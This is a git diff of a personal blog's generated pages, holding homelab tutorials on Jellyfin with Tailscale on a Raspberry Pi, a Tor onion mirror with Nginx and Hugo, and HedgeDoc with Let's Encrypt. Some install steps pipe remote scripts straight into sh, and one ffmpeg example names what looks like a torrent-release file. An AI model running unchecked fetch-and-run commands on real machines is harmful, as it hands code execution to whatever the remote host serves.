    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4https://blog.alipour.eu/posts/boredom/Sun, 21 Dec 2025 09:30:00 +0100https://blog.alipour.eu/posts/boredom/A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later.Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.

    +

    I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.

    +

    This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.

    +

    The idea

    +

    Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.

    +

    The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.

    +

    What you need

    +

    My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.

    +

    Step one: choose a home for your stuff

    +

    Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.

    +

    On the Pi, I created a little directory neighborhood under /srv:

    +
    sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
    +sudo chown -R $USER:$USER /srv
    +

    If you’re not ready to move movies into /srv/media yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.

    +

    Step two: install Docker and start thinking in containers

    +

    I installed Docker and verified that docker compose worked. After that, everything became a file called docker-compose.yml and the comforting feeling that I can rebuild my server from a single folder if life gets weird.

    +

    A typical install flow on Raspberry Pi OS looks like this:

    +
    sudo apt update
    +sudo apt install -y ca-certificates curl
    +curl -fsSL https://get.docker.com | sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +docker --version
    +docker compose version
    +

    Now for the part that feels like summoning a friendly daemon.

    +

    Step three: Jellyfin, running happily in Docker

    +

    In /srv/compose/jellyfin/docker-compose.yml, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to /home/hub/Documents/movies from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.

    +

    Here’s a simple docker-compose.yml that works well on a Pi:

    +
    services:
    +  jellyfin:
    +    image: jellyfin/jellyfin:latest
    +    container_name: jellyfin
    +    user: "1000:1000"
    +    ports:
    +      - "8096:8096/tcp"
    +      - "7359:7359/udp"
    +    volumes:
    +      - /srv/jellyfin/config:/config
    +      - /srv/jellyfin/cache:/cache
    +      - /srv/media:/media
    +    restart: unless-stopped
    +

    If your user isn’t UID 1000, check it with id -u and id -g, then update the user: line accordingly.

    +

    I started Jellyfin like this:

    +
    cd /srv/compose/jellyfin
    +docker compose up -d
    +

    After that, Jellyfin lived at http://<pi-lan-ip>:8096 on my home network, which is the most satisfying “it’s alive” moment of the whole build.

    +

    Step four: Tailscale, the magic door for friends

    +

    Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.

    +
    curl -fsSL https://tailscale.com/install.sh | sh
    +sudo tailscale up
    +tailscale ip -4
    +

    That last command gives you a 100.x.y.z address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:

    +
    http://100.x.y.z:8096
    +

    Or if you enabled magicDNS:

    +
    http://rpi:8096
    +

    The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.

    +

    If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”

    +

    Step five: create a Jellyfin user for your friend

    +

    Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.

    +

    If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.

    +

    Step six: the secret to a smooth Pi movie night is Direct Play

    +

    A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.

    +

    For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.

    +

    The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac 2   -movflags +faststart   "500.Days.of.Summer.2009.1080p.mp4"
    +

    Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:

    +
    ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv"   -map 0:s:0   "500.Days.of.Summer.2009.1080p.srt"
    +

    Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.

    +

    Step seven: SyncPlay, aka “we pressed play together”

    +

    Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.

    +

    Starting on microSD, graduating to SSD later

    +

    Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.

    +

    The reason the /srv layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy /srv to the SSD, mount the SSD at /srv, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.

    +

    Where this goes next

    +

    Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep /srv as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”

    +

    For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.

    +

    Happy streaming.

    +

    The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I’ll write a review for it later on. It was just amazing.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
    +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF
    +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
    +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
    +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
    +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh
    +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
    +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf
    +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp
    +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
    +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
    +=/K6E
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md.asc
    +gpg --verify boredom.md.asc boredom.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/jellyfin/page/1/index.html b/public-clearnet/tags/jellyfin/page/1/index.html new file mode 100644 index 0000000..96d6a85 --- /dev/null +++ b/public-clearnet/tags/jellyfin/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/jellyfin/ + \ No newline at end of file diff --git a/public-clearnet/tags/letsencrypt/index.html b/public-clearnet/tags/letsencrypt/index.html new file mode 100644 index 0000000..309c54d --- /dev/null +++ b/public-clearnet/tags/letsencrypt/index.html @@ -0,0 +1,18 @@ +Letsencrypt | AlipourIm journeys +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +
    HedgeDoc collaborative editing

    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

    HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

    August 29, 2025 · 2 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/letsencrypt/index.xml b/public-clearnet/tags/letsencrypt/index.xml new file mode 100644 index 0000000..de42962 --- /dev/null +++ b/public-clearnet/tags/letsencrypt/index.xml @@ -0,0 +1,393 @@ +Letsencrypt on AlipourIm journeyshttps://blog.alipour.eu/tags/letsencrypt/Recent content in Letsencrypt on AlipourIm journeysHugo -- 0.146.0enFri, 19 Sep 2025 00:00:00 +0000Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttps://blog.alipour.eu/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
    +TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
    +VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
    +OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
    +N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
    +700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
    +=QlNw
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
    +gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
    +  
    +
    + + +]]>
    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttps://blog.alipour.eu/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000https://blog.alipour.eu/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
